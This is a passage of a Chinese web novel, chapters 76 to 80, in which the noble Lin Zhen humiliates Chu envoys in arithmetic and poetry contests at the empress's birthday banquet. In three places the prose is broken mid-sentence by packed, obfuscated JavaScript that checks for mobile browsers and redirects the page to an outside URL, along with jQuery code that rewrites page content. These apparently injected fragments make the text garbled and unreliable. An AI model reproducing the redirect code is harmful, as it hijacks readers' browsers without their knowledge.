“林世子虽然没有演算过程,但也算答对了,不如这一局平手如何? “对对对,黄大人也不要太小辈了。 “差不多就行了。 “世子,老夫帮你说话,这个人情你可得记下!择日好还! 还你人情? 我TM谢谢你啊。 林臻对满场的质疑声嗤之以鼻,在正中间缓走两步,单手负立,大有七步成诗的意境。 世外高人风范,不过如此。 “这点小儿科的东西还需要演算过程?我就不跟你说几元几次方程式了,反正你也听不懂。 “我就用最简单的办法告诉你。鸡兔同笼,总共35个头,100只脚。每只动物最少要有两只脚,一共是70只脚,100减70等于30。而兔子的脚比鸡多两只,所以再除以2,就是15只兔子,35减15等于20只鸡。明白了吗? “什么!黄志恩觉得自己血压飙升。 他根本不敢相信,乾国竟然还有如此强大的算学鬼才,他指着林臻满脸疑惑地问道。 “你没有用算盘,也没有推理图,就这么凭空心算,你怎么知道35少15就是20的? 噗。 林臻险些一头栽倒。 可怜的古人啊,根本就不知道加减乘除是咋回事。 记得原书中顾北辰还用算盘敲了一遍呢,看来自己无意间成就了一次降维打击。 林臻背过手,一副黄志恩亲爹的口吻教育道。 “大黄啊,你还年轻,只要虚心学习,日后定能自成一家。你不必知道我是怎么算的,先把赌注履行了吧。 “你 黄志恩一副吃了苍蝇的表情。 众人再不明白什么情况就是傻子了! 这道千古奇难的鸡兔同笼,真的被一个不学无术的纨绔子弟给解开了! “世子牛逼! “太厉害了!杀的黄老狗一句话也没有! “这回黄老狗真是狗了! “赶紧跪下给我们大乾当狗吧! “哈哈哈哈。 大乾群臣欢笑一团 。 就连慕容嫣也没想到林臻竟然这么厉害! 这可是算学啊!难倒多少大乾儿郎? 然他仅凭心算口算,就能杀得算学名家黄志恩哑口无言!以后有机会还真是需要和他深入探讨一下呢! 面对群臣的呼声,黄志恩的脸就像上锅的螃蟹,越来越红。 他蹩脚地走回楚惜灵身前,有些为难地看着她:“公主.臣. 与黄志恩的难以启齿相比,楚惜灵表现得很冷漠,甚至不愿在他身上多看一眼。 “赌注是你下的,我大楚还没有输不起的道理。 “公主,臣.臣知道了。 黄志恩一口后槽牙都快咬碎了,面色极其痛苦。 他一步一顿地来到堂中,面对早已笑开花的慕容嫣,犹豫半响还是直挺挺跪了下去。 “我愿意给大乾当狗。 “哈哈哈哈。 “愿意当狗就叫一声啊!黄老狗,你也有今天! “奶奶的,看着真是解气,你楚国的小伎俩不攻自破了! “陛下,世子旗开得胜,应该大大地嘉奖一番才是啊! “跪好!谁让你站起来的! 眼见黄志恩喊完就站了起来,群臣又开始口诛笔伐。 楚惜灵说道:“赌注我们已经履行了,你们大乾也不要欺人太甚! “我们欺人太甚?刚才黄老狗可是要和我家世子赌命!他的命能抵得上世子的命吗? “别以为我们不知道你们咋想的! 楚惜灵恨恨地攥起粉拳,一双杏眼仿佛要喷出火来。 如果不是顾忌大楚名誉,她恨不得现在就带兵杀进京城,把这群人的舌头割掉! 林臻在欢声笑语中看向林震仙,发现老爷子正含笑着看向自己,还淡淡点了点头。 那意思就是:臭小子,还不错。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789208|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这样一来,林臻更是底气十足,见黄志恩溜着墙边要逃跑,立刻把他叫住。 “大黄!你这是要去哪啊? “你黄志恩听到这个称呼气得险些翻白眼,“老夫身体不适,要先行回去了。 “一轮比试,你出完题就该我出题,你不会是想逃跑吧? 林臻显然是不打算要放过他。 这次楚国使团来祝寿的目的就是想要空手套白狼,拿走清河县。其用心之险恶,态度之嚣张,令人愤慨。 若不把丢掉的面子找回来,日后大乾如何在诸国面前立足? 别看林臻是个纨 绔,其实他爱国着呢。 这个时候楚惜灵说话了,态度很是坚决:“和他比,我就不信,一个纨绔弟子除了骄奢淫逸,吃喝玩乐以外还有什么大能耐!” 黄志恩闻言都快哭了! 大姐啊,你眼睛是不是被猪啃了? 这纨绔牛逼着呢! 是张嘴就能说出35少20等于15的大神! “臣遵命。”黄志恩没办法只好应承下来,警惕地看着林臻。 就听后者说道:“大黄啊,听说你算学厉害。那我就再给你出道算学题。” “你听好。” “一位兵卒上山种树,晴天每天可以种20棵树,雨天每天可以种12棵树。他种了8天,共112棵树。问,这8天里有几天是雨天,几天晴天。” 诸国所有使臣同时倒吸一口凉气! “嘶” “这也太难了吧?” “天有不测风云,晴天雨天岂是人力可以计算出来的?” “林世子一语中的,直接把题出到死!让黄老狗与老天算阴晴,真乃高人啊!” “不对!你快看世子的表情,这道题分明有解法!” 此时此刻的林臻绝非昔日不学无术的纨绔,而是所有大佬目光的焦点。 场中的他继续负手而立,浑身浩然之气直冲云霄,趾高气扬地看向黄志恩。 后者躬身,体态僵硬,唯唯诺诺不知所云。 他看向慕容嫣,说道:“请陛下允许臣用算盘。” “准。” 第76章 慕容嫣:应该和林臻深入探讨一下 黄志恩拿过算盘,在桌子上一边敲一边写,急得满头大汗。 楚惜灵也站在他身边目不转睛地盯着,可一炷香的时间过去,依旧没有答案。 其实林臻已经很地道了,这道题和鸡兔同笼有异曲同工之妙,只是黄志恩根本不懂方程,只能用算盘去解。 那就老麻烦喽。 “大黄,算清楚了吗?我可要说赌注了。”林臻站起来说道:“刚才你与本世子赌命,本世子跟了,既然我们最大的赌注是城池的割让,那这次干脆小一点。” 黄志恩眼睛都快绿了,他隐隐觉得林臻不怀好意! 就听林臻语不惊人死不休地说道:“我要你大楚给我们提供粮食,也不多,五百万斤吧。” “不可能!”黄志恩都没来得及说话,楚惜灵便喊道:“就算是秋后,我大楚也不可能凭空变出五百万多斤的粮食给你!” “哦?没有啊?”林臻无辜地耸了耸肩。 “那好吧,我退一步,允许你们分期支付。如果你们输了,你们大楚就在第一天给我们两斤粮食,第二天给我们四斤,第三天给我们八斤,以后每天都是前一天的两倍,给足一个月即可。” 楚惜灵感觉林臻在憋什么坏,但她就是想不明白。 而且这个数量听起来也不多啊. 按照这个给法,一个月撑死也就几十万斤的样子。 “好,就以此为注!” “公主,万万不可啊!”黄志恩反应过来,立刻劝道:“如果按林臻的说法,我们这一个月最少要给出一百万斤的粮食!我们亏大了啊!” 一百万? 林臻内心止不住的冷笑。 这个看似划算的方法,实则是最恐怖的,因为到月底的时候数量就会是2的30次方。 那可是一个多亿! 林臻其实很清楚,就算把大楚掏干了也不可能拿得出这么多粮食。 他只是需要一个名正言顺的理由,如果楚国后来拒绝支付,那他们机会丧失国际信誉和地位,对大乾来说是好事,而且一旦楚国犯边,大乾也就有充足的理由反击。 同时林臻也希望能尽量帮助三个月后乾楚大战。 楚国肯定会在中途才反应过来粮食的供给有问题,那时他们的粮食已经有很多进入自己的口袋。 届时大战开始,自己就能用这些粮食来帮助到前线将士。 只要有粮食,以林震仙的军事能力是绝不会败给楚国的。 黄志恩一直在劝,但楚惜灵好像就看不得 林臻那得意的样子,于是愤恨地喊道:“不就是百万斤粮食么,我大楚赌了! 言罢看向黄志恩:“你到底有没有答案? “有 “那就快说啊! 黄志恩硬着头皮看向林臻,心虚得不行:“这八天里,有六天是雨天,两天是晴天。 楚惜灵一副小人得志的样子,高高地扬起下巴。 然林臻眼皮都没抬一下:“你可有演算过程? “没有. “那就是信口胡诌的了? 黄志恩算了算说道:“如果林世子想要演算过程,三年之内,必定可以。 “噗哈哈哈,三年!?你让我们这群人在这金銮殿里坐三年不成? “黄老狗!亏你还是算学名家,竟然玩起瞎猫碰死耗子这种把戏! “你丢不丢人!? “没有演算过程就不算是胜利,清秋公主,我们的粮食别忘了啊! 被众人口诛笔伐的滋味可不好。楚惜灵现在就是这种感觉。 她觉得自己的脸火辣辣的,浑身每一寸肌肤都在升腾,恨不得找个地缝钻进去算了:“放心,我大楚可不会输不起。 “哈哈哈哈,陛下,林世子又赢了一局! “世子牛逼! 慕容嫣看着场中那个身影,笑容里竟然有淡淡的欣慰。 虽然林家权势滔天,但毕竟还是忠于大乾的。 此乃不幸中的万幸。 楚惜灵看着大乾群臣得势不饶人的样子,又看了看诸国使臣满脸憋笑的丑态,恨得牙根直痒痒。 本来诸国之间就勾心斗角,这次使臣们能在百忙中抽空来祝寿,说白了就是来看热闹的。 不管是大乾还是大楚,只要有热闹,他们就很开心。 黄志恩走过来满脸为难的说道。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789209|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “公主,臣愧对您的信任. 楚惜灵虽然心有不甘,但还是摆了摆手,尽量把火气压下去说道:“无妨,这只是第一局的比试,大楚还没有输不起的道理。 “这唉。黄志恩叹了口气回到自己座位上。 刚刚赢了一场,慕容嫣心情大好,也越来越期待接下来的比试。 就见楚惜灵再次来到堂中,对她说道:“皇帝陛下,这第一轮我大楚认输。不过后面两轮你们是不可能赢得。 “呵呵呵,朕就喜欢看你这自信的表情,快快出题。 “第二轮,我们比作诗。 “作诗? 慕容嫣眉头微蹙。 大乾有史以来就没出过什么好诗赋,看来楚国今天是势在必得啊。 顾云霆眼见情况不对,立刻说道:“陛下,臣认为不是什么比试我们都必须接受,应该有权力要求楚国公主更换考题。” “不错,楚惜灵,朕没有必须答应你的义务。” “哦?”楚惜灵眉毛一挑,满脸阴阳怪气地说道:“难道皇帝陛下要再次怯而不战吗?” 顾云霆喊道:“放肆!我们陛下何时怯战过?倒是你们投机取巧,只为图谋我清河县!” 楚惜灵连看都没看他一眼。 他能当丞相完全就是皇家需要克制林震仙而已,否则以他的水平,当个员外郎都属于高升。 慕容嫣对楚惜灵这个表情很不爽利。 她们都是女人。 尤其是两个都很漂亮的女人,天生就是敌人。 慕容嫣被激恼,一拍龙案看向林臻:“林臻,你可有把握对战?” 把握? 连诗都不会背,能成为中央选调生吗? 你知不知道我们考试之前为了背诗词歌赋的出处有多难啊! 林臻双手作揖:“陛下放心,臣有把握让楚国文人这辈子也不敢再作诗。” “哈哈哈哈,黄口小儿,竟敢在老夫面前卖弄!”只听楚国阵营那边传来一阵爽朗的笑声。 随着一位老者的出现,在场所有人都倒吸一口凉气! “嘶!” “啊?竟然是他?” 第77章 我赢了,你就把你孙女给我吧 众人的目光不约而同地聚焦于楚国使团之中、。 一位老者缓缓步出,引得周遭一片讶然,双目不由自主地睁大几分。 老者身姿挺拔,两绺银白长髯随风轻扬,宛如仙人下凡,浑身散发着超凡脱俗的气质,一派仙风道骨之姿。双眸深邃明亮,仿佛能洞察世间万物,嘴角勾起一抹似笑非笑的弧度,目光温柔而锐利地落在了林臻身上。 “什么?竟然是他?!” 人群中爆发出一阵低呼,语气中满是不可思议。 “华夏第一诗神,上官墨轩!” “他怎会在楚国使团里?” 疑问如涟漪般在人群中扩散开来。 上官墨轩不仅是秦国皇室中德高望重的老供奉,亦是华夏万千文人心中屹立不倒的精神支柱。 即便是秦国的使臣,目睹他的现身亦是震惊不已,心中疑惑丛生。 使臣秦洛书走出来,在上官墨轩面前深鞠一躬:“阁老,您怎会莅临此地?” 上官墨轩轻轻一笑,摆了摆手,满不在乎地道:“唉,不过是昔日欠楚霸天一份人情,此番也只得应约而来罢了。” 秦洛书闻言,点了点头:“原来如此,那晚辈为您准备笔墨纸砚。” “也好,今日老夫便要让这狂妄小子见识见识,何为真正的吟诗咏志!”上官墨轩捋着长髯,看林臻时眼睛不是眼睛,鼻子不是鼻子的。 也难怪他如此。身为一位深受古训熏陶的大儒,上官墨轩对那些年轻气盛、爱夸海口之辈向来不以为意,反倒对那些勤勉好学、不耻下问的有志青年青睐有加。 林臻对他亦是撇了撇嘴,满脸的不以为意。 什么诗神,屁! 你能有大李杜、小李杜厉害? 你能有诗佛、诗鬼厉害? 我就不相信搬出这么多大神,还治不了你这个老古董。 林臻随意地拱了拱手,嘴角依旧挂着一丝不屑,轻描淡写道:“晚辈领教了。” 那姿态中流露出的强烈的桀骜不驯。 这无疑触动了上官墨轩心中的怒火,令他脸色阴沉如水。 在秦国,乃至整个华夏大陆,何人敢不对他上官墨轩敬若神明,尊称一声“先生”? 唯独林臻这纨绔子弟视他如粪土。 “哼,黄口小儿,今天老夫就让你大乾输得心服口服!”上官墨轩冷哼一声,语气中满是不屑与愤慨:“笔墨伺候!” “等等!” 林臻闻声转身,只见慕容嫣面上挂着几分 凝重,目光审慎地锁定在自己身上,朱唇轻启:“林臻,上官阁老乃文坛栋梁,你确信能赢?” “陛下放心,臣心里有数。”林臻拱手回应,语气中带着豪迈的自信。 这一幕倒是让慕容嫣心里有些恍惚。 难道说,朕以前真的看错他了?其实他是个很有才学,也很为国考虑的人? 上官墨轩再次不屑地冷哼道:“哼,你还心里有数。倘若你真能胜出,老夫此生誓不再提笔赋诗!” 林臻一听怎么滴? 我还没说赌注呢,你倒先来这么一句。 “阁老,万万使不得啊!”秦国的使臣们纷纷焦急上前,言辞恳切。 “若您不再吟诗,这世间还有何处能寻得如此悦耳动听的佳句呢?” “是啊阁老,您万万不可因为一个纨绔子弟就放弃诗神的身份啊!” “与这等下流之人比拼诗作,简直是对您声誉的极大侮辱,要不就让弟子代您出战吧!” “我们若是连他都胜不过,也不配做您的弟子!” “不必!”上官墨轩轻轻一扬手,语气中带着霸道的威严:“为免遭小人诟病,说我倚老卖老,此番较量就由大乾皇帝陛下出题如何?” 楚惜灵微微颔首,淡笑道:“正是此理,请皇帝陛下出题。” “且慢!”林臻适时出声,目光直视上官墨轩,语中带着一丝玩味:“老先生就不想下点赌注吗?” “呵呵呵呵,老夫久闻大乾之地,民风豪爽,好赌成性,连朝堂之上也不乏赌中高手,更有朝廷册封赌王之奇闻,今日一见,果然如此!” “哈哈哈哈。”诸国使臣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789210|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听到都是开怀大笑。 笑容中带着不怀好意的嘲讽。 “赌王!我这辈子也没听过这样的王爷啊!” “陛下,要不我捐点钱,给我也封个钱王吧!” “我多养几只狗,封犬王!” “哈哈哈哈。” 老东西,哪壶不开提哪壶。 林臻一边暗暗腹诽,一边翻着白眼拱手道:“请您老少阴阳怪气的,小心等会儿气死。” 语气没有丝毫恭敬,反而让人听了就想骂人。 老者怒目圆睁,胡须微微颤抖:“你!竖子,竟敢诅咒老夫!” “没有啊,晚辈只是让您小心点而已。”林臻一脸无辜,眼神中却藏着几分戏谑。 上官墨轩闻言冷哼一声,胸膛起伏,显然被气得不轻。 “哼,老夫不与你逞口舌之利!想下什么赌注就说,老夫跟到底!” “好啊,不如就和刚才一样吧,您输了便跪下说,我愿意给大乾当狗。如果我输了,我把命给你。” “绝对不行!”秦洛书跺着脚,声音中带着焦急与坚决:“阁老虽是在偿还楚国人情,可他终归是大秦的肱骨之臣!如此侮辱性的言辞,怎可说出口!” 上官墨轩也陷入沉默当中。 他不是担心自己会输,而是这样的事情就不能拿来做赌注。 其实林臻早有算计,他深知那些注重脸面的秦国人,绝不会轻易应允如此荒谬之事。 因此,他方才之举不过是投石问路,试探虚实,并非真心欲以此为赌注。 况且,说句不痛不痒的话有什么用? 不如来点实在的。 林臻说道:“既然秦国不答应,那便罢了吧,我吃点亏,换个赌注。” 上官墨轩闻言,嘴角不禁微微一搐。 你还吃点亏,你TM都快成精了。 “闻得老先生府中有一孙女,天资聪颖,温婉贤淑,既通诗书,又达礼数,身姿更是亭亭玉立,宛若仙子下凡。晚辈心中倾慕已久,斗胆恳请。若老先生此番落败,便将这位孙女许配于我,结为秦晋之好,如何?” 第78章 世子千古绝句,好湿好湿! 上官墨轩还没说话,秦国使臣又炸锅了。 “啊?” “林臻!你好大的胆子!” “阁老的孙女乃天之娇女,更是准备入宫的皇妃,岂能配你这土鸡瓦狗!” “这个条件,我们不答应!” “这也不答应,那也不答应,你们秦国还要不要点脸啊?”林臻故作恼怒之态,言语间带着几分戏谑。 其实他早在一开始就想到了这个赌注。 在原著的脉络里,上官墨轩与顾北辰斗诗,最终是顾北辰以一诗之妙,赢得了满堂喝彩。 他要求上官墨轩摒弃旧志,转身投入大乾成为慕容嫣麾下的文胆,为其文章批注添彩。 慕容嫣也因此十分更加欣赏顾北辰的才情和胆识,两人的关系也日渐升温。 但林臻偏偏不这么做,因为那样对他自己来讲没有任何意义。 倒不如利用上官墨轩最疼爱的孙女来拴住这个老家伙,从此和秦国高层搭上线。 秦国地处西边,与大乾相距甚远,三五年之内两国都不会发生战争,甚至可以友好通商,互通有无,这对接下来的战略布局有着深远的影响。 当然,喜欢女色这一点.反而是次要的。 林臻没那么色急。 见秦国使团这么激进,林臻又出言逼迫,上官墨轩摆了摆手说道:“罢了,反正老夫也不可能输,就应了这个赌注吧。” “不过,小子。”上官墨轩的目光如鹰隼般锐利,直射林臻,“你若是败了,老夫可要取你的龙阳之物,泡一壶好酒!” “好!请陛下出题!” 慕容嫣轻抚额际,眉宇间满是无奈与烦躁。 她感觉自己今天就不像是在过生日,而是在看一场闹剧。 一个不学无术的纨绔非要用自己的生殖器和诗神对赌诗词,这不有病么。 慕容嫣既无奈又很随意地说道:“你们就以菊花为题吧。” “哈哈哈哈!老夫作诗一生,偏爱菊花,在这里先谢过陛下了!”上官墨轩爽朗大笑。 言罢,便迫不及待地于案前铺纸研墨,提笔挥洒,一副胸有成竹的模样, 相比之下,林臻则显得从容不迫,他微微闭目,脑海里思索着关于菊花的诗句。 他记得,曾经历史上有个狠人,写了一首关于造反的诗 很快,上官墨轩已经收笔。 秦洛书凑过来,盯着桌子上的诗句大声朗读。 “霜天十月绽芳华,独傲寒秋映彩霞。淡雅仙 姿摇玉影清幽韵致舞金纱。不同桃李争春色敢向风霜斗物华。一缕幽芳陶客醉几枝瘦骨韵无涯。” “好湿好湿啊!” “不愧是我辈的精神支柱!出手便是千古佳作!” “学生佩服佩服!” 秦国使团毫不吝啬赞美之词。 楚惜灵的笑容在脸颊上绽放得如同春日里的花朵似乎已经胜券在握。 慕容嫣见状不禁暗暗倒吸一口凉气震惊老家伙的才学。 反观最应该高兴的顾云霆却微微叹了口气那声音中蕴含着无尽的无奈与惋惜。 “唉这局怕是没希望了。” 谷中满在他身后满脸不解的蛐蛐道:“顾相不必惊慌割掉林臻的龙阳林家从此就彻底绝后了这对我们可是大有裨益啊!!” “放屁!你以为林震仙会允许这样的事情发生?这次我们大乾恐怕要失信于天下人了。” “啊?他难道还敢反悔不成?” “这老东西为了自己孙子什么事情都做得出来!” 面对四周如潮水般涌来的质疑声林臻的神色却未见丝毫动摇宛如磐石。 上官墨轩那张老脸笑得皱纹深深刻画仿佛能夹住几片枯叶眼中闪烁着玩味的光芒紧盯着林臻不放。 “小子 林臻嘴角勾起一抹从容的淡笑:“呵呵呵你以为自己赢了?” “不然呢?你倒是作一首出来让老夫看看啊!” 林臻轻轻摇头目光中流露出一抹无奈与惋惜仿佛是对眼前这群人的不解深感遗憾。 “唉本来打算以普通人的身份和你们相处可没想到换来的却是质疑。不装了我是无敌诗佛我摊牌了!” 众人哈哈大笑。 “哈哈哈哈!” “你要是诗佛那我就是诗鬼!” “小小竖子大言不惭竟敢在上官阁老面前卖弄诗文!” “哈哈哈哈这大乾摄政王家的世子是个神经病吧!” 楚惜灵更是忍俊不禁:“林世子这一局本公主看你是输定了快快作诗吧 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“此诗一出,掷地有声,足见林世子胸中不仅有对江山社稷的拳拳之心,更有对时局深深的忧虑与对未来的宏图伟略,令人叹服。” “诗中所言不假,大秦确实已经渐入暮年,而林世子心中那份吞并天下的豪情,已然跃然纸上,不可小觑。” “好湿,一首造反的好诗!老夫都不敢想象,如果这首诗传回大秦,会掀起怎样一番滔天巨浪,真真是令人胆寒又心生敬佩!” 秦洛书目睹众人纷纷对这首诗赞不绝口,心中焦急万分:“阁老,林臻此子分明是觊觎我大秦!” “洛书!”上官墨轩一直沉默不语,此刻额头已渗出细密的汗珠。 “不管林世子如何想法,但斗诗环节,老夫败局已定。” 上官墨轩所作之诗,宛如他晚年心境,对菊花之傲骨凌霜,高风亮节,赞誉有加;而林臻之诗,则如同青年才俊,满腔热血,锐意进取,两者相较,胜负已明。 慕容嫣激动地攥紧粉拳,狠狠敲击着自己大腿。 赢了! 又赢了! 林臻当真厉害啊! 第79章 大美人清秋公主,请留下吧 场中楚惜灵的面容显得格外阴沉仿佛乌云压顶难以释怀。 她万万没有料到自己满怀期待、意气风发地来到大乾企图通过一场比斗兵不血刃地夺得清河县却被那个看似纨绔的林臻横插一脚将她的全盘计划彻底打乱! 更令她痛心疾首的是如今她可能还要被迫割让北海城。 那可是扼制大乾至关重要的战略要地。 想到此处楚惜灵心如刀绞。 她不敢想象一旦真的割让了这片土地回国后等待她的将是父皇怎样的雷霆震怒与严厉惩处。 这可如何是好啊. 楚惜灵自幼便是命运宠儿光环加身。十八载春秋勤勉不辍寒窗苦读未尝一败。 在世人眼中她是才华横溢的奇女子;在父母心中她是无价之宝的掌上明珠;而在天下人的口耳相传中 仿佛一切荣耀与光辉都为她而生。 然而今天她却遭遇了前所未有的滑铁卢败得彻底心身俱疲。 巨大的挫败感如同潮水般汹涌而来几乎要将她淹没。 难道我当初真的不该向父皇建议出使乾国吗? 如果不来那粮食便不用给黄志恩也不会下跪自称为狗更不会丢了北海城! 不行。 楚惜灵告诉自己。 北海城绝不能丢。 慕容嫣放声大笑:“哈哈哈哈楚国公主三轮比试你们已经失败两轮那最后一轮也就没有比的必要了朕宣布楚国败北将北海城” “皇帝陛下!”楚惜灵不等慕容嫣把话说完便直接打断步伐翩翩地走出来说道:“陛下关于比斗之事我大楚确已略逊一筹然则北海城.” 她微微咬合贝齿眸光中闪烁着不容动摇的光芒:“无论如何也绝不能让予贵国。” “放肆!堂堂公主竟然出尔反尔!” “诸国使臣都在这你们大楚还有点脸面吗?” 慕容嫣目光中闪烁的寒光字字句句带着不容置疑的威严:“清秋公主难道你要欺君?” “不敢但是割让北海城的事情恕我不能答应请陛下见谅!”楚惜灵的态度十分坚决她就是打定主意知道慕容嫣不敢把她怎么样。 大楚在南边虎视眈眈一旦她有丝毫闪失楚国皇帝楚霸天定会龙颜大怒挥师北上大军压境。 不管是国力还是军力现在的大乾都没办法和楚国相比一旦开 战,仓促间恐怕就连林臻也独木难撑。 慕容嫣轻拍龙案,厉声喝道:“难道你们楚国要欺我大乾无人不成!朕今日就要治你的罪!” “陛下,不可!”顾云霆也没想到林臻能赢,眼见慕容嫣似有冲动之举,连忙站起来,语气恳切地说道:“我大乾与楚国素来交好,刚刚的比斗也不过是玩笑之语,陛下切莫冲动。不如我们另寻他径,提出一个既能彰显我大乾威严,又能令楚国接受的条件吧!” 言罢顾云霆还一个劲儿地给慕容嫣使眼色,那意思就是:别着急,万一出了事情对谁都不好。 慕容嫣也知道其中关节,可她就是咽不下这口气。 这楚国太欺负人了! 一旦落败,便要强取豪夺,勒令我方割让清河县;而他们一旦不敌,却反口不认账,妄图以大乾不敢贸然动兵为盾,肆意践踏规则。 当皇帝当到这个份上,也太没尊严了。 正当她心中纷扰如麻,难以抉择之际,林臻挺身而出,言辞恳切:“陛下,割让城池乃国之大事,非公主一人所能决断。微臣斗胆建议,不妨另立赌约。” 林臻猜到楚惜灵不会答应割地的事情,所以他早就做了第二手准备。 慕容嫣闻言,就坡下驴,轻轻一挥衣袖道:“赌注是你提出的,就由你来定。” 林臻缓步至楚惜灵跟前,嘴角勾起一抹意味深长的笑意:“清秋公主,是不是除了这个条件以外,你都能答应呢?” “没错,只要不是让我大楚割地赔款,其余要求,本宫皆可应承。” 林臻微微一笑,仿佛一切尽在掌握之中:“如此甚好,那么就请清秋公主屈尊大乾皇宫,三年之内,不得回国。” “什么?” 此言一出,犹如晴天霹雳,楚国使团成员瞬间面色大变,惊恐之色溢于言表。 “公主,万万不可啊!他们这是意图以您为质,胁迫我国!” “这太危险了,臣无论如何也不能同意!” “林臻,你别给脸不要脸,立刻换个赌注,否则我大楚即可大军压境!” 从头到尾都没说过一句话的林震仙,突然睁开锐利的双 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很快,一群身着轻纱长裙的舞娘,如同春日里争奇斗艳的花朵,身姿摇曳,步入金碧辉煌的大殿,翩翩起舞。 她们或绿或红,体态各异,均美艳万分。 恰似那诗句中所云,“莺莺燕燕春如旧,绿肥红瘦总关情”。 “臣等祝陛下万寿无疆!” “祝大乾皇帝陛下,寿与天齐!” 慕容嫣含笑着举起酒盏:“诸君,饮胜!” “陛下请!” “好酒啊!哈哈哈哈。” 在这片欢歌笑语之中,却有一人心绪难平。 顾云霆。 他独自喝了口闷酒,眉宇间藏着不易察觉的抑郁,与这喜庆的氛围格格不入。 实话讲,林臻输了他很不爽,赢了更不爽。 因为从此以后慕容嫣恐怕会对林臻高看一眼,这更加打击了顾家在朝中的地位。 顾北辰啊顾北辰,你这个不孝子,你TM到底去哪了? 如果你在这,岂容林臻这小子出尽风头? 第80章 慕容嫣移情别恋,喜欢上林臻了! 酒宴的余温渐散,诸国使臣回到驿馆休息,第二天便起程回国。 楚惜灵站在宫门口,目光穿越夜色,温柔却带着一丝不易察觉的哀愁,看着黄志恩,声音轻若柳絮地说道:“黄大人,回去后必定告诉父皇,欲成大事,不拘小节,他日若要与大乾开战,不必怜惜本宫。只管进兵即可。 黄志恩闻言,不禁老泪横流。 他望向那位在夜色中更显孤高的楚惜灵,眼中满是愧疚与无奈:“公主.臣.臣无能,没能保护好公主殿下。 楚惜灵轻轻摇头:“不必说这些,这次是本宫失算了,没想到乾国还有林臻这样不世出的高手。 “臣回去定会如实将情况禀报陛下,望公主在乾国一切安好。 “走吧。 黄志恩再次鞠躬,转身离开。 目送宫门缓缓合拢,楚惜灵暗暗攥紧粉拳,樱桃般的红唇轻启,吐气如兰。 “父皇,您放心,即便在乾国皇宫里,女儿也定能扭转乾坤,绝不给大楚皇室丢脸! 慕容嫣今天因为高兴,多吃了几杯酒,双颊因此染上了一抹娇艳的红晕,仿佛晨曦中绽放的桃花,光泽动人。 此刻他在嬛嬛的服侍下回到寝宫,轻坐在雕花梳妆台前,手指轻巧地摘下那两道假须,嘴角勾起一抹笑意,言语中满是赞许:“这林臻,确是有些手段,竟能让那楚国使团甘拜下风!如此一来,短期内我大乾无有饥饿之忧。 嬛嬛正因顾北辰没有参加寿宴而略感怅然,耳畔却突然传来慕容嫣对林臻的赞誉。不禁微微蹙眉,略带不悦地说道:“林臻再厉害还能比得过顾院判么. “死妮子,今天就算是顾北辰在这也不一定能斗赢楚国!慕容嫣轻嗔道。 “林臻颇有才情,不仅能解鸡兔同笼,还会写造反诗!待到秋来九月八,我花开后百花杀。此句气势磅礴,意境深远,真是让朕欣喜。你速速去拿笔墨,朕要亲自把这首诗抄录下来! “是 嬛嬛的语气中夹杂着几分怨气,但还是乖乖地去拿笔墨纸砚。 慕容嫣轻啜一口醒酒茶,茶香袅袅间,思绪不由自主地飘回了林臻在朝堂之上,与诸国使臣舌战群儒的那一幕。 伟岸的身影在殿中负手而立,举手投足间尽显指点江山的非凡气度。 那自信满满、不拘一格、豪迈爽朗的笑声在殿内久久回荡,同时也深深烙印在了慕容嫣的心田。 林臻这次为大乾可谓是立下汗马功劳,否则今天的大乾不仅要割地 ,甚至还会有更严重的后果。 “这家伙,还真是”慕容嫣心中暗自思量,言语间既有赞叹,又含着一丝难以言喻的情愫。 嬛嬛取纸笔回来,没地方放,只能放在床榻上。 慕容嫣轻抬玉指,点了点自己饱满的胸脯,朱唇轻启,带着几分酒意后的慵懒与迫切:“先给朕把这玩意解开。” 她那里本来就大,几杯酒下肚,气血翻腾,更觉胸前沉闷,仿佛有千斤重担。 随着嬛嬛把针头拔下来,“噗”的一声,那份压抑瞬间得以释放。 慕容嫣这才长长地舒了口气,随后缓缓趴在柔软的床榻边缘,提起笔来,开始在宣纸上挥洒。 没办法,她这个样子根本不敢到前殿去,万一让太监宫女看到,除了杀头以外没有办法保守秘密。 “满城尽带黄金甲”慕容嫣将整首诗写完,小心翼翼地折好放进柜子里。 嬛嬛看到她这幅样子就知道,自己所喜欢的顾北辰已经被比了下去,于是凑过来酸溜溜地说道:“陛下,顾院判今天为何没来呢?” 提起顾北辰慕容嫣就来气。 若不是林臻,今天就吃大亏了。 “哼,不管为何,朕今日寿诞,他竟然缺席!朕不会轻易原谅他。” “可是陛下,顾院判可是为您出了不少主意呢,今天没来,若非是被什么绊住了脚?” “唉,百骑司的组建还需要时间,否则朕肯定能得到第一手情报,任重道远啊。也罢,等他明天进宫亲自和朕解释吧。” 